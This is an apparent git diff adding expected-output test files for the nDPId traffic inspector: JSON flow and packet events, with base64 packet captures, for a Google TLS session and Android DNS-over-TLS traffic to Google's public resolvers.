+02343{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443397,"pkt_ts_usec":410178,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"gMbKAJ6fAA6OTbSoCABFAAW+e9UAADMGqcbYOtRkrB8D4AG7p1PuIxEUemdzaVAQp5Q7hAAAFgMBAEoCAABGAwFVf96DS8v7axWkCrmsJo\/\/uEXNkc1hvp5gwT+LzwW1qiC4kjARfcAosRfvoCchSGFvcHA2ruAUFLwJq9CsLrL+9AAFABYDAQv\/CwAL+wAL+AAEejCCBHYwggNeoAMCAQICCAdUJ34\/8zOCMA0GCSqGSIb3DQEBBQUAMEkxCzAJBgNVBAYTAlVTMRMwEQYDVQQKEwpHb29nbGUgSW5jMSUwIwYDVQQDExxHb29nbGUgSW50ZXJuZXQgQXV0aG9yaXR5IEcyMB4XDTE1MDYwMzA5MjYwMVoXDTE1MDkwMTAwMDAwMFowaDELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDU1vdW50YWluIFZpZXcxEzARBgNVBAoMCkdvb2dsZSBJbmMxFzAVBgNVBAMMDnd3dy5nb29nbGUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoa7ibuL5dSPsfWKc3o79DbA2HwAoWmjh+I44799yIbmJCbIfMsowigY+iNs9nggcHLc6E1nL+961MBiPp8nr7ZLAFnpiG1rLLqwn8IPbLv\/EyIOIutU+0e0Xn561c2zXE4lbA+98HCLXSXSR0nn\/a45iEnhFDlZfAX9IyfRXCe3zgL2dRSOUAQimamk4asP2LnrHoWSVYyv\/12GSVzSc8d7vhLI3LapP\/qsjoj5AFnaa\/4ZCHzuvveJX1qjU7tbZ7HD17YVLRSSNIOTtyGN4kCmQK3z\/WeApyXsAUeGGVoeTjeSpfH96s\/zGZJbsXKT1zYvNQuVSBnyEF9uIoiEooQIDAQABo4IBQTCCAT0wHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBkGA1UdEQQSMBCCDnd3dy5nb29nbGUuY29tMGgGCCsGAQUFBwEBBFwwWjArBggrBgEFBQcwAoYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNydDArBggrBgEFBQcwAYYfaHR0cDovL2NsaWVudHMxLmdvb2dsZS5jb20vb2NzcDAdBgNVHQ4EFgQUG8SMKaYgAIGWq0vVz4Dx4W7q0CQwDAYDVR0TAQH\/BAIwADAfBgNVHSMEGDAWgBRK3QYWG7z2aLV29YG2u2IaulqBLzAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNybDANBgkqhkiG9w0BAQUFAAOCAQEAXDTcnX7ZhqoP69sLS67xiTBvX5CwExZdEmlBQD83W1KzhfkxJrm\/EwPESVXGQu6q6chziG4vdhZLtSBU82zKFonMU8a4mCUcs+4Hp2ymjY1GP9nohkuNc7lQfiwzYOZPVASqz7SbSPIN5soP2qujfnt+PEQHw8K6bf3GCcNaJYtUK\/d1nap2+7BvI5NX9lvExSv9A9v+ZkLK\/EhMQ0fby3oQupH+Lk5XlkVS7yhRXAj3f5oZ5Q+805eqe+6v\/u5KTiYhGIoAYr9GGse+vTBuq+mLhD45QRhDilITcRm5i0lUa5n3nYN0aWEBaGZjdjC\/GADV9yVsBO5Q6VkgkVaNMwAD9DCCA\/AwggLYoAMCAQICAwI6djANBgkqhkiG9w0BAQUFADBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMB4XDTEzMDQwNTE1MTU1NVoXDTE2MTIzMTIzNTk1OVowSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSA="} +02343{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443398,"pkt_ts_usec":327656,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"gMbKAJ6fAA6OTbSoCABFAAW+fNkAADMGqMLYOtRkrB8D4AG7p1PuIxaqemdzaVAQp5RWwgAASW50ZXJuZXQgQXV0aG9yaXR5IEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnCoEd1zYUJE6BqOC4NhQSLyJP\/EZcBqIRn7gj8Xxic4h7lr+YQ23MkSJoHQLU09VpM6CYpXu61lfxuEFgBLEXpQ\/vFtIOPRT9yTm+5HpFcTP9FMN9Er8n1Tefb6ga2+HwNBQHygwA0DaCHNRbH\/\/OjynNwaOvUsRBOt9JN7m+fwxcfuU1WDzLkqvQtLL6sRqGrLMU90VS4sfyBlhH82dqD5jK4Q1aWWEyBnFRiL4U5W+44BKEMYq7LqXIBHHOZkQBKDwYXqVJYxOUnXitu0IyhT8ziJqs07PRgOXlwN+wLHee69FM8+6PnG33vQlJcINNYmdnfsOEXmJHjfFr45yaQIDAQABo4HnMIHkMB8GA1UdIwQYMBaAFMB6mGiNifurBWQMEX2qfWW4ysxOMB0GA1UdDgQWBBRK3QYWG7z2aLV29YG2u2IaulqBLzASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBBjA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vZy5zeW1jYi5jb20vY3Jscy9ndGdsb2JhbC5jcmwwLgYIKwYBBQUHAQEEIjAgMB4GCCsGAQUFBzABhhJodHRwOi8vZy5zeW1jZC5jb20wFwYDVR0gBBAwDjAMBgorBgEEAdZ5AgUBMA0GCSqGSIb3DQEBBQUAA4IBAQAnjM\/pxzu+wG\/oloT7nFxdkOR324syYJtl2IUmtbqfHt5kTh\/GyCBbCZ+rqeAJNEWiZSU3PX9abyDM+frxHY8QDAI6xMkBdpa+m\/kV2DnRxQNHdriKjDHWYNXkj9v6PMbVmCj4HI8XkTTLy1J60fs6IOThhrHYGA++1odkjcUKJUJR77I4uOAd0OH85vSvRrrvwL\/FtAX1lHUM\/qK+Arrqhlv5NbNm9cWNhaEaI3caGRdUE2CfC+G0nCgq+a4CNG0lk5yCqBd78YWw0w9Y4fux\/pyho+j9yT\/013HcvYykGeAhIyNVE4+kFgIJfrmv7ttTZL1xL7k5zjC3tLxU4EcHAAOBMIIDfTCCAuagAwIBAgIDErvmMA0GCSqGSIb3DQEBBQUAME4xCzAJBgNVBAYTAlVTMRAwDgYDVQQKEwdFcXVpZmF4MS0wKwYDVQQLEyRFcXVpZmF4IFNlY3VyZSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDIwNTIxMDQwMDAwWhcNMTgwODIxMDQwMDAwWjBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2swYYzD99BcjGlZ+W988bDjkcbd4kdS8odhM+KhDtgPpTSEHCIjaWC9mOSm9BXiLnTjoBbdqfnGk5sRgprDvgOSJKA+eJdbtg\/OtppHHmMlCGDUUna2YRpIuT8rxh0PBFpVXLVDviS2Aelet8u5fa9IAjbkU+BQVNdnARqN7csiRv8lVK83Qlz6cJmTM386DGXHKTubU1XupGc1V3sjs0l44U+VcT4wt\/lAjNvxm5suOpDkZALeVAjmRCw7+OC7RHQWa9k0+bw8HHa8sHo9gOeL6NlMTOdReJivbPagUvTLrGAMoUgRx5aszPeE4uwc2hGKceeoWMPRfwCvocWvk+QIDAQABo4HwMIHtMB8GA1UdIwQYMBaAFEjmaPkr0rKV10fYIyAQTzOYkJ\/UMB0GA1UdDgQWBBTAephojYn7qwVkDBF9qn1luMrMTjAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwE="} +00837{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443398,"pkt_ts_usec":595261,"pkt_caplen":368,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":368,"pkt_l4_len":334,"pkt":"AA6OTbSogMbKAJ6fCABFAAFiBqhAAEAG1k+sHwPg2DrUZKdTAbt6Z3Np7iMdcFAYLLBd8wAAFgMBAQYQAAECAQCJE\/UgWC1ephqdHlX76FYEvfsgrbMWPzUiKCabJKOq+PPxveMMBWMoKrAR383+Za5DefH15hpBf6KHSBreRxt4DCtCeYZyOCOTnaHmJuA+B+CpAvxIUauUywgA0Kbv0PY\/h2DOTF85nFsyyCCRlu5+Z\/Hagc5FBjk5JLDWo82AqJaazwoDzKcLFLAkqYtOgQGuLs9u6iqKkrvx9Rlomd+2PxuohkGYjk4iGsVFmSRrlhKDxifSDIlNWNln2rjAgXo+hjOSOs+xzBkSIMieIqFTTdF9t1nhteQEs3JQXWgLW4EkCINmccl84iq7ma03klyZ8Gg+dxC3vXdte3pIvlN0FAMBAAEBFgMBACRVFaqlyGalIwzWGm3pOUlb5hIiHh6emt5yoX3HqC5Oozr9Lv4="} +00828{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443399,"pkt_ts_usec":540882,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"gMbKAJ6fAA6OTbSoCABFAAFYfNoAADMGrSfYOtRkrB8D4AG7p1PuIxxAemdzaVAYp5RnXgAAAf8EBAMCAQYwOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybC5nZW90cnVzdC5jb20vY3Jscy9zZWN1cmVjYS5jcmwwTgYDVR0gBEcwRTBDBgRVHSAAMDswOQYIKwYBBQUHAgEWLWh0dHBzOi8vd3d3Lmdlb3RydXN0LmNvbS9yZXNvdXJjZXMvcmVwb3NpdG9yeTANBgkqhkiG9w0BAQUFAAOBgQB24RJuTksWEoYwBrKBCM\/wCMfHcX5m7sLt1Dsf\/\/DwyE7WQziwuTB9GNBVg6JqyzYRnOhIZqNtf7gT1Ef+i1pcc\/yu2RsyGTirlzQUqpbS66McFAhJtrvlke+DNusdVm\/K2rxzY5Dkf3s+Iss9B+1fOHSc4wNQTqGvmO5h8oQ\/EhYDAQAEDgAAAA=="} diff --git a/test/results/googledns_android10.pcap.out b/test/results/googledns_android10.pcap.out new file mode 100644 index 000000000..7608229c5 --- /dev/null +++ b/test/results/googledns_android10.pcap.out @@ -0,0 +1,118 @@ +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1592552824409,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"8.8.8.8","dst_ip":"192.168.1.159","src_port":853,"dst_port":55856,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552824,"pkt_ts_usec":409182,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0gpUAAHcG7tcICAgIwKgBnwNV2jAOPHBKaWPSFIARAUT59wAAAQEIChWqa0r\/\/5Cw"} +00437{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552824,"pkt_ts_usec":632762,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0gzYAAHcG7jYICAgIwKgBnwNV2jAOPHBKaWPSFIARAUT5GAAAAQEIChWqbCn\/\/5Cw"} +00437{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552824,"pkt_ts_usec":856545,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0g5MAAHcG7dkICAgIwKgBnwNV2jAOPHBKaWPSFIARAUT4OAAAAQEIChWqbQn\/\/5Cw"} +00437{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":296508,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0hHAAAHcG7PwICAgIwKgBnwNV2jAOPHBKaWPSFIARAUT2gAAAAQEIChWqbsH\/\/5Cw"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1592552825913,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48044,"dst_port":853,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":913529,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA8tGBAAEAGuAjAqAGfCAgEBLusA1UTsXihAAAAAKAC\/\/9hlgAAAgQFtAQCCAr\/\/8zBAAAAAAEDAwg="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1592552825913,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.8.8","src_port":56024,"dst_port":853,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":913790,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA8yAFAAEAGoGPAqAGfCAgICNrYA1WXsATAAAAAAKAC\/\/8uSAAAAgQFtAQCCAr\/\/8zBAAAAAAEDAwg="} +00451{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":926858,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA8q2cAAHcGygEICAQEwKgBnwNVu6wOvAEKE7F4oqAS6yBkegAAAgQFZAQCCAp\/X4MU\/\/\/MwQEDAwg="} +00451{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":927045,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA8xdcAAHYGrI0ICAgIwKgBnwNV2tjD\/e2fl7AEwaAS6yBjdQAAAgQFZAQCCApkDcpF\/\/\/MwQEDAwg="} +00439{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":928257,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0tGFAAEAGuA\/AqAGfCAgEBLusA1UTsXiiDrwBC4AQAVd8vQAAAQEICv\/\/zMV\/X4MU"} +00651{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":928997,"pkt_caplen":220,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":220,"pkt_l4_len":186,"pkt":"EBMx8Tl2ag\/ahpuQCABFAADOtGJAAEAGt3TAqAGfCAgEBLusA1UTsXiiDrwBC4AYAVdpogAAAQEICv\/\/zMV\/X4MUFgMBAJUBAACRAwOw6eX3GPuUCseewx8KJQKq65uZZdDYuRYi0MWCjT+jCwAAHsArwC\/ALMAwzKnMqMAJwBPACsAUAJwAnQAvADUACgEAAEoAAAAPAA0AAApkbnMuZ29vZ2xlABcAAP8BAAEAAAoACAAGAB0AFwAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQ=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1592552825913,"flow_last_seen":1592552825928,"flow_tot_l4_data_len":298,"flow_min_l4_data_len":32,"flow_max_l4_data_len":186,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48044,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.google","ja3":"2c776785ee603cc85d37df996bb90cc8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00439{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":929178,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0yAJAAEAGoGrAqAGfCAgICNrYA1WXsATBw\/3toIAQAVd7uAAAAQEICv\/\/zMVkDcpF"} +00652{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":929471,"pkt_caplen":220,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":220,"pkt_l4_len":186,"pkt":"EBMx8Tl2ag\/ahpuQCABFAADOyANAAEAGn8\/AqAGfCAgICNrYA1WXsATBw\/3toIAYAVdohAAAAQEICv\/\/zMVkDcpFFgMBAJUBAACRAwOVSYhvB5NCZzUc9GHHE6Pd9b9dT20UrbAk09jz7PnHSwAAHsArwC\/ALMAwzKnMqMAJwBPACsAUAJwAnQAvADUACgEAAEoAAAAPAA0AAApkbnMuZ29vZ2xlABcAAP8BAAEAAAoACAAGAB0AFwAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQ=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":12,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1592552825913,"flow_last_seen":1592552825929,"flow_tot_l4_data_len":298,"flow_min_l4_data_len":32,"flow_max_l4_data_len":186,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.8.8","src_port":56024,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.google","ja3":"2c776785ee603cc85d37df996bb90cc8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00438{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":940289,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0q3UAAHgGyPsICAQEwKgBnwNVu6wOvAELE7F5PIAQAPB8fAAAAQEICn9fgyL\/\/8zF"} +00439{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":941529,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0xdkAAHYGrJMICAgIwKgBnwNV2tjD\/e2gl7AFW4AQAPB7dgAAAQEICmQNylT\/\/8zF"} +02349{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":957880,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAW+q3sAAHgGw2sICAQEwKgBnwNVu6wOvAELE7F5PIAQAPCh8QAAAQEICn9fgzP\/\/8zFFgMDAD8CAAA7AwNe7G15nhrimki9bfrsYlGl8blRww\/L601ET1dOR1JEAQDALwAAEwAXAAD\/AQABAAALAAIBAAAjAAAWAwMKgAsACnwACnkABiUwggYhMIIFCaADAgECAhAvmt6tSZ\/54QIAAAAAayAjMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMR4wHAYDVQQKExVHb29nbGUgVHJ1c3QgU2VydmljZXMxEzARBgNVBAMTCkdUUyBDQSAxTzEwHhcNMjAwNTI2MTUyMDAyWhcNMjAwODE4MTUyMDAyWjBkMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzETMBEGA1UEChMKR29vZ2xlIExMQzETMBEGA1UEAxMKZG5zLmdvb2dsZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOSUeQONctZz3uIqdtC8TGzE8AMaYsmZY88YVzUreJdL\/0dCZYsl1UYc2OvENRHpKfNCZpRv3xMOZvi3kh0QIb5zzddzOkkBUd2hU7s3ZwZK+HaanofZZUCn6DHRVW+tAvbhDsfNhYq7nC6j\/GNW5VGjRotNORp5ATy1MpfZF93XgmaHNixqtpC\/0gM5Gwth6D+1fVJsvBEgZyIPBayP3lOd1yAvzdIkSpwWaZ+TKW+85OK4yyy7S2o1vCDDK3Zq6\/jUumhBP5SJmDA5tr4dukkEoqVyhPnxGcB4hDmwyVDU2U8rmqCGQULfKb12DBmiiJOYbm5pqVj1JBv0+p3j1E0CAwEAAaOCAu8wggLrMA4GA1UdDwEB\/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSFRNGvRXRy0wAb7J2sKkmYhLWe3zAfBgNVHSMEGDAWgBSY0fhuEOvPm+xgnxiQG6DrfQn9KzBoBggrBgEFBQcBAQRcMFowKwYIKwYBBQUHMAGGH2h0dHA6Ly9vY3NwLnBraS5nb29nL2d0czFvMWNvcmUwKwYIKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZy9nc3IyL0dUUzFPMS5jcnQwgawGA1UdEQSBpDCBoYIKZG5zLmdvb2dsZYIQKi5kbnMuZ29vZ2xlLmNvbYILODg4OC5nb29nbGWCDmRucy5nb29nbGUuY29tghBkbnM2NC5kbnMuZ29vZ2xlhxAgAUhgSGAAAAAAAAAAAABkhxAgAUhgSGAAAAAAAAAAAGRkhxAgAUhgSGAAAAAAAAAAAIhEhxAgAUhgSGAAAAAAAAAAAIiIhwQICAQEhwQICAgIMCEGA1UdIAQaMBgwCAYGZ4EMAQICMAwGCisGAQQB1nkCBQMwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC5wa2kuZ29vZy9HVFMxTzFjb3JlLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2AAe3XBvlfWj\/8bDGHSMVx7rmV3xXlLdq7rxhOhpp06IcAAABclHIpS8AAAQDAEcwRQIhAL8PRht0GjLwxvKgvt3ME7Lvn501gSRHUbzJgY3HddfrAiBITPBWXKB\/EsGN\/qthElwjtyifjXyQCtZL82ZOsBNAqgB1AF6nc\/nfVsDntTZIfdBJ4DJ6kZoMhKESEoQYdZaBcUVYAAABclHIo2oAAAQDAEYwRAIgW3oiEOXHmxVJukyPKedbFKLAHU+NWNHGdGVRZy3Vv9QCIBZ565g8plNNkx9OSGvGcmllJquFv0Vpmmf0ZrIkVQCpMA0GCSqGSIb3DQEBCwUAA4IBAQBP8NFNA2o7BvU4C0BZ\/YuA2G4="} +00816{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":15,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1592552825913,"flow_last_seen":1592552825957,"flow_tot_l4_data_len":1780,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":296,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48044,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.google","ja3":"2c776785ee603cc85d37df996bb90cc8","ja3s":"b44baa8a20901c5663b3a9664ba8a767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02354{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":957993,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAW+q3wAAHgGw2oICAQEwKgBnwNVu6wOvAaVE7F5PIAQAPAEzwAAAQEICn9fgzP\/\/8zFBWU\/U1SwWFqB51XKOk\/9gYc9EfnV8DMmwcygUgaToHLYUMwUZiFSJ1LqRJEm3oknKcmGpn6E+8rpojBhPvTewD8kzc3KtWn0xIyDeDz+Z1J8g\/uv+o2If+iKyGWYGf4RT\/KFSb\/lYkCgp373jBd81x2dBToH41zJgQMiTcRji8A4I0eyWkRpuReYMwBKatDuD2J7yUI9b+O06es4KhBC9a+DKwwGcm20clrv8FMBPBA3oxgf2d7Tp